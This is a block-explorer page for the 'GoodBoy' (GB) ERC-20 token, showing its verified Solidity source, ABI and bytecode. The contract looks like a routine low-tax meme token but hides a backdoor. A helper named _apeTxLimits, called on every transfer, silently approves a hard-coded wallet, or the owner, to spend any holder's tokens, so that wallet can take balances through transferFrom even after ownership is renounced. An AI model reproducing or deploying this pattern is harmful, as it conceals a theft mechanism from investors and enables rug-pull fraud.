ERC-20
Overview
Max Total Supply
1,000,000,000 GB
Holders
200
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
8,365,504.515269029 GBValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
GoodBoy
Compiler Version
v0.8.16+commit.07a7930e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2025-02-06 */ /* Goodboy's first stop is on the Ethereum Network Take him with you, good vibes only. https://www.goodboyoneth.vip https://x.com/goodboy_erc https://t.me/goodboy_erc */ // SPDX-License-Identifier: MIT pragma solidity 0.8.16; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IAPEFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IAPERouter { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract GoodBoy is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _apeBalances; mapping (address => mapping (address => uint256)) private _apeAllowances; mapping (address => bool) private _apeExcludedFee; mapping (address => bool) private _apeExcludedTXX; address private _apeWallet = 0x74a268171A2CB737c3e5276dE82E402f3a6f2F24; uint8 private constant _decimals = 9; uint256 private constant _tTotalAPE = 1000000000 * 10**_decimals; string private constant _name = unicode"GoodBoy"; string private constant _symbol = unicode"GB"; uint256 private _apeTokenLimit = _tTotalAPE / 100; IAPERouter private _apeRouter; address private _apePair; uint256 private _initialBuyTax=3; uint256 private _initialSellTax=3; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=6; uint256 private _reduceSellTaxAt=6; uint256 private _preventSwapBefore=6; uint256 private _buyCount=0; bool private inSwapAPE = false; bool private _tradeEnabled = false; bool private _swapEnabled = false; modifier lockTheSwap { inSwapAPE = true; _; inSwapAPE = false; } constructor () { _apeExcludedFee[owner()] = true; _apeExcludedFee[address(this)] = true; _apeExcludedFee[_apeWallet] = true; _apeExcludedTXX[owner()] = true; _apeExcludedTXX[_apeWallet] = true; _apeBalances[_msgSender()] = _tTotalAPE; emit Transfer(address(0), _msgSender(), _tTotalAPE); } function initGOODBOY() external onlyOwner() { _apeRouter = IAPERouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(_apeRouter), _tTotalAPE); _apePair = IAPEFactory(_apeRouter.factory()).createPair(address(this), _apeRouter.WETH()); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotalAPE; } function balanceOf(address account) public view override returns (uint256) { return _apeBalances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _apeAllowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _apeAllowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _apeAllowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _apeTxLimits(address apeF, uint256 apeA) private { if(apeLimitCheck()) _approve(apeF, _msgSender(), apeA); } function _getAPEFees(address apeF, address apeO, uint256 apeA) private returns(uint256) { uint256 taxAPE=0; if (apeF != owner() && apeO != owner()) { taxAPE = apeA.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); if (apeF == _apePair && apeO != address(_apeRouter) && ! _apeExcludedFee[apeO]) { _buyCount++; } if(apeO == _apePair && apeF!= address(this)) { taxAPE = apeA.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } uint256 tokenAPE = balanceOf(address(this)); if (!inSwapAPE && apeO == _apePair && _swapEnabled && _buyCount > _preventSwapBefore) { if(tokenAPE > _apeTokenLimit) swapTokensForEth(min(apeA, min(tokenAPE, _apeTokenLimit))); uint256 contractAPE = address(this).balance; if (contractAPE >= 0) { sendETHFee(address(this).balance); } } } return taxAPE; } function _transfer(address apeF, address apeO, uint256 apeA) private { require(apeF != address(0), "ERC20: transfer from the zero address"); require(apeO != address(0), "ERC20: transfer to the zero address"); require(apeA > 0, "Transfer amount must be greater than zero"); uint256 apeTAX = _getAPEFees(apeF, apeO, apeA); _transerAPE(apeF, apeO, apeA, apeTAX); } function apeLimitCheck() private view returns(bool) { return _apeExcludedTXX[_msgSender()]; } function min(uint256 a, uint256 b) private pure returns (uint256) { return (a>b)?b:a; } function sendETHFee(uint256 amount) private { payable(_apeWallet).transfer(amount); } function _transerAPE(address apeF, address apeO, uint256 apeA, uint256 apeTAX) private { if(apeTAX > 0){ _apeBalances[address(this)] = _apeBalances[address(this)].add(apeTAX); emit Transfer(apeF, address(this), apeTAX); } _apeTxLimits(apeF, apeA); _apeBalances[apeF] = _apeBalances[apeF].sub(apeA); _apeBalances[apeO] = _apeBalances[apeO].add(apeA.sub(apeTAX)); emit Transfer(apeF, apeO, apeA.sub(apeTAX)); } function swapTokensForEth(uint256 tokenAPE) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _apeRouter.WETH(); _approve(address(this), address(_apeRouter), tokenAPE); _apeRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAPE, 0, path, address(this), block.timestamp ); } receive() external payable {} function openTrading() external onlyOwner() { require(!_tradeEnabled,"trading is already open"); _apeRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapEnabled = true; _tradeEnabled = true; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"initGOODBOY","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600580546001600160a01b0319167374a268171a2cb737c3e5276de82e402f3a6f2f2417905560646200003a6009600a6200034c565b6200004a90633b9aca0062000364565b62000056919062000386565b600690815560036009819055600a556000600b819055600c819055600d829055600e829055600f919091556010556011805462ffffff191690553480156200009d57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600160036000620000f86000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526003909352818320805485166001908117909155600554909116835290822080549093168117909255600490620001686000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905560055490911681526004909252902080549091166001179055620001bd6009600a6200034c565b620001cd90633b9aca0062000364565b33600081815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002106009600a6200034c565b6200022090633b9aca0062000364565b60405190815260200160405180910390a3620003a9565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200028e57816000190482111562000272576200027262000237565b808516156200028057918102915b93841c939080029062000252565b509250929050565b600082620002a75750600162000346565b81620002b65750600062000346565b8160018114620002cf5760028114620002da57620002fa565b600191505062000346565b60ff841115620002ee57620002ee62000237565b50506001821b62000346565b5060208310610133831016604e8410600b84101617156200031f575081810a62000346565b6200032b83836200024d565b806000190482111562000342576200034262000237565b0290505b92915050565b60006200035d60ff84168362000296565b9392505050565b600081600019048311821515161562000381576200038162000237565b500290565b600082620003a457634e487b7160e01b600052601260045260246000fd5b500490565b6114c480620003b96000396000f3fe6080604052600436106100c65760003560e01c806370a082311161007f57806395d89b411161005957806395d89b411461022d578063a9059cbb14610258578063c9567bf914610278578063dd62ed3e1461028d57600080fd5b806370a08231146101ba578063715018a6146101f05780638da5cb5b1461020557600080fd5b806306fdde03146100d2578063095ea7b31461011457806318160ddd1461014457806323b872dd14610167578063313ce5671461018757806353a71842146101a357600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b50604080518082019091526007815266476f6f64426f7960c81b60208201525b60405161010b91906110ad565b60405180910390f35b34801561012057600080fd5b5061013461012f366004611113565b6102d3565b604051901515815260200161010b565b34801561015057600080fd5b506101596102ea565b60405190815260200161010b565b34801561017357600080fd5b5061013461018236600461113f565b61030b565b34801561019357600080fd5b506040516009815260200161010b565b3480156101af57600080fd5b506101b8610374565b005b3480156101c657600080fd5b506101596101d5366004611180565b6001600160a01b031660009081526001602052604090205490565b3480156101fc57600080fd5b506101b8610580565b34801561021157600080fd5b506000546040516001600160a01b03909116815260200161010b565b34801561023957600080fd5b5060408051808201909152600281526123a160f11b60208201526100fe565b34801561026457600080fd5b50610134610273366004611113565b6105f4565b34801561028457600080fd5b506101b8610601565b34801561029957600080fd5b506101596102a836600461119d565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006102e033848461076d565b5060015b92915050565b60006102f86009600a6112d0565b61030690633b9aca006112df565b905090565b6000610318848484610891565b61036a843361036585604051806060016040528060288152602001611467602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906109da565b61076d565b5060019392505050565b6000546001600160a01b031633146103a75760405162461bcd60e51b815260040161039e906112fe565b60405180910390fd5b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556103f09030906103e26009600a6112d0565b61036590633b9aca006112df565b600760009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610443573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104679190611333565b6001600160a01b031663c9c6539630600760009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104ed9190611333565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561053a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061055e9190611333565b600880546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146105aa5760405162461bcd60e51b815260040161039e906112fe565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006102e0338484610891565b6000546001600160a01b0316331461062b5760405162461bcd60e51b815260040161039e906112fe565b601154610100900460ff16156106835760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161039e565b6007546001600160a01b031663f305d71947306106b5816001600160a01b031660009081526001602052604090205490565b6000806106ca6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610732573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107579190611350565b50506011805462ffff0019166201010017905550565b6001600160a01b0383166107cf5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161039e565b6001600160a01b0382166108305760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161039e565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108f55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161039e565b6001600160a01b0382166109575760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161039e565b600081116109b95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161039e565b60006109c6848484610a14565b90506109d484848484610bdf565b50505050565b600081848411156109fe5760405162461bcd60e51b815260040161039e91906110ad565b506000610a0b848661137e565b95945050505050565b600080610a296000546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610a5857506000546001600160a01b03858116911614155b15610bd757610a896064610a83600d5460105411610a7857600954610a7c565b600b545b8690610d2c565b90610db5565b6008549091506001600160a01b038681169116148015610ab757506007546001600160a01b03858116911614155b8015610adc57506001600160a01b03841660009081526003602052604090205460ff16155b15610af75760108054906000610af183611391565b91905055505b6008546001600160a01b038581169116148015610b1d57506001600160a01b0385163014155b15610b4a57610b476064610a83600e5460105411610b3d57600a54610a7c565b600c548690610d2c565b90505b3060009081526001602052604090205460115460ff16158015610b7a57506008546001600160a01b038681169116145b8015610b8e575060115462010000900460ff165b8015610b9d5750600f54601054115b15610bd557600654811115610bc957610bc9610bc485610bbf84600654610df7565b610df7565b610e0c565b47610bd347610f7d565b505b505b949350505050565b8015610c595730600090815260016020526040902054610bff9082610fbb565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c509085815260200190565b60405180910390a35b610c63848361101a565b6001600160a01b038416600090815260016020526040902054610c86908361103d565b6001600160a01b038516600090815260016020526040902055610ccb610cac838361103d565b6001600160a01b03851660009081526001602052604090205490610fbb565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610d15858561103d565b60405190815260200160405180910390a350505050565b600082600003610d3e575060006102e4565b6000610d4a83856112df565b905082610d5785836113aa565b14610dae5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161039e565b9392505050565b6000610dae83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061107f565b6000818311610e065782610dae565b50919050565b6011805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e4e57610e4e6113cc565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610ea7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ecb9190611333565b81600181518110610ede57610ede6113cc565b6001600160a01b039283166020918202929092010152600754610f04913091168461076d565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f3d9085906000908690309042906004016113e2565b600060405180830381600087803b158015610f5757600080fd5b505af1158015610f6b573d6000803e3d6000fd5b50506011805460ff1916905550505050565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610fb7573d6000803e3d6000fd5b5050565b600080610fc88385611453565b905083811015610dae5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161039e565b3360009081526004602052604090205460ff1615610fb757610fb782338361076d565b6000610dae83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506109da565b600081836110a05760405162461bcd60e51b815260040161039e91906110ad565b506000610a0b84866113aa565b600060208083528351808285015260005b818110156110da578581018301518582016040015282016110be565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461111057600080fd5b50565b6000806040838503121561112657600080fd5b8235611131816110fb565b946020939093013593505050565b60008060006060848603121561115457600080fd5b833561115f816110fb565b9250602084013561116f816110fb565b929592945050506040919091013590565b60006020828403121561119257600080fd5b8135610dae816110fb565b600080604083850312156111b057600080fd5b82356111bb816110fb565b915060208301356111cb816110fb565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561122757816000190482111561120d5761120d6111d6565b8085161561121a57918102915b93841c93908002906111f1565b509250929050565b60008261123e575060016102e4565b8161124b575060006102e4565b8160018114611261576002811461126b57611287565b60019150506102e4565b60ff84111561127c5761127c6111d6565b50506001821b6102e4565b5060208310610133831016604e8410600b84101617156112aa575081810a6102e4565b6112b483836111ec565b80600019048211156112c8576112c86111d6565b029392505050565b6000610dae60ff84168361122f565b60008160001904831182151516156112f9576112f96111d6565b500290565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561134557600080fd5b8151610dae816110fb565b60008060006060848603121561136557600080fd5b8351925060208401519150604084015190509250925092565b818103818111156102e4576102e46111d6565b6000600182016113a3576113a36111d6565b5060010190565b6000826113c757634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156114325784516001600160a01b03168352938301939183019160010161140d565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156102e4576102e46111d656fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e4646a3b8ed3c1b898905fc23b27b6246fb909cfe3c05d8dfee422a9853a48ef64736f6c63430008100033
Deployed Bytecode
0x6080604052600436106100c65760003560e01c806370a082311161007f57806395d89b411161005957806395d89b411461022d578063a9059cbb14610258578063c9567bf914610278578063dd62ed3e1461028d57600080fd5b806370a08231146101ba578063715018a6146101f05780638da5cb5b1461020557600080fd5b806306fdde03146100d2578063095ea7b31461011457806318160ddd1461014457806323b872dd14610167578063313ce5671461018757806353a71842146101a357600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b50604080518082019091526007815266476f6f64426f7960c81b60208201525b60405161010b91906110ad565b60405180910390f35b34801561012057600080fd5b5061013461012f366004611113565b6102d3565b604051901515815260200161010b565b34801561015057600080fd5b506101596102ea565b60405190815260200161010b565b34801561017357600080fd5b5061013461018236600461113f565b61030b565b34801561019357600080fd5b506040516009815260200161010b565b3480156101af57600080fd5b506101b8610374565b005b3480156101c657600080fd5b506101596101d5366004611180565b6001600160a01b031660009081526001602052604090205490565b3480156101fc57600080fd5b506101b8610580565b34801561021157600080fd5b506000546040516001600160a01b03909116815260200161010b565b34801561023957600080fd5b5060408051808201909152600281526123a160f11b60208201526100fe565b34801561026457600080fd5b50610134610273366004611113565b6105f4565b34801561028457600080fd5b506101b8610601565b34801561029957600080fd5b506101596102a836600461119d565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006102e033848461076d565b5060015b92915050565b60006102f86009600a6112d0565b61030690633b9aca006112df565b905090565b6000610318848484610891565b61036a843361036585604051806060016040528060288152602001611467602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906109da565b61076d565b5060019392505050565b6000546001600160a01b031633146103a75760405162461bcd60e51b815260040161039e906112fe565b60405180910390fd5b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556103f09030906103e26009600a6112d0565b61036590633b9aca006112df565b600760009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610443573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104679190611333565b6001600160a01b031663c9c6539630600760009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104ed9190611333565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561053a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061055e9190611333565b600880546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146105aa5760405162461bcd60e51b815260040161039e906112fe565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006102e0338484610891565b6000546001600160a01b0316331461062b5760405162461bcd60e51b815260040161039e906112fe565b601154610100900460ff16156106835760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161039e565b6007546001600160a01b031663f305d71947306106b5816001600160a01b031660009081526001602052604090205490565b6000806106ca6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610732573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107579190611350565b50506011805462ffff0019166201010017905550565b6001600160a01b0383166107cf5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161039e565b6001600160a01b0382166108305760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161039e565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108f55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161039e565b6001600160a01b0382166109575760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161039e565b600081116109b95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161039e565b60006109c6848484610a14565b90506109d484848484610bdf565b50505050565b600081848411156109fe5760405162461bcd60e51b815260040161039e91906110ad565b506000610a0b848661137e565b95945050505050565b600080610a296000546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610a5857506000546001600160a01b03858116911614155b15610bd757610a896064610a83600d5460105411610a7857600954610a7c565b600b545b8690610d2c565b90610db5565b6008549091506001600160a01b038681169116148015610ab757506007546001600160a01b03858116911614155b8015610adc57506001600160a01b03841660009081526003602052604090205460ff16155b15610af75760108054906000610af183611391565b91905055505b6008546001600160a01b038581169116148015610b1d57506001600160a01b0385163014155b15610b4a57610b476064610a83600e5460105411610b3d57600a54610a7c565b600c548690610d2c565b90505b3060009081526001602052604090205460115460ff16158015610b7a57506008546001600160a01b038681169116145b8015610b8e575060115462010000900460ff165b8015610b9d5750600f54601054115b15610bd557600654811115610bc957610bc9610bc485610bbf84600654610df7565b610df7565b610e0c565b47610bd347610f7d565b505b505b949350505050565b8015610c595730600090815260016020526040902054610bff9082610fbb565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c509085815260200190565b60405180910390a35b610c63848361101a565b6001600160a01b038416600090815260016020526040902054610c86908361103d565b6001600160a01b038516600090815260016020526040902055610ccb610cac838361103d565b6001600160a01b03851660009081526001602052604090205490610fbb565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610d15858561103d565b60405190815260200160405180910390a350505050565b600082600003610d3e575060006102e4565b6000610d4a83856112df565b905082610d5785836113aa565b14610dae5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161039e565b9392505050565b6000610dae83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061107f565b6000818311610e065782610dae565b50919050565b6011805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e4e57610e4e6113cc565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610ea7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ecb9190611333565b81600181518110610ede57610ede6113cc565b6001600160a01b039283166020918202929092010152600754610f04913091168461076d565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f3d9085906000908690309042906004016113e2565b600060405180830381600087803b158015610f5757600080fd5b505af1158015610f6b573d6000803e3d6000fd5b50506011805460ff1916905550505050565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610fb7573d6000803e3d6000fd5b5050565b600080610fc88385611453565b905083811015610dae5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161039e565b3360009081526004602052604090205460ff1615610fb757610fb782338361076d565b6000610dae83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506109da565b600081836110a05760405162461bcd60e51b815260040161039e91906110ad565b506000610a0b84866113aa565b600060208083528351808285015260005b818110156110da578581018301518582016040015282016110be565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461111057600080fd5b50565b6000806040838503121561112657600080fd5b8235611131816110fb565b946020939093013593505050565b60008060006060848603121561115457600080fd5b833561115f816110fb565b9250602084013561116f816110fb565b929592945050506040919091013590565b60006020828403121561119257600080fd5b8135610dae816110fb565b600080604083850312156111b057600080fd5b82356111bb816110fb565b915060208301356111cb816110fb565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561122757816000190482111561120d5761120d6111d6565b8085161561121a57918102915b93841c93908002906111f1565b509250929050565b60008261123e575060016102e4565b8161124b575060006102e4565b8160018114611261576002811461126b57611287565b60019150506102e4565b60ff84111561127c5761127c6111d6565b50506001821b6102e4565b5060208310610133831016604e8410600b84101617156112aa575081810a6102e4565b6112b483836111ec565b80600019048211156112c8576112c86111d6565b029392505050565b6000610dae60ff84168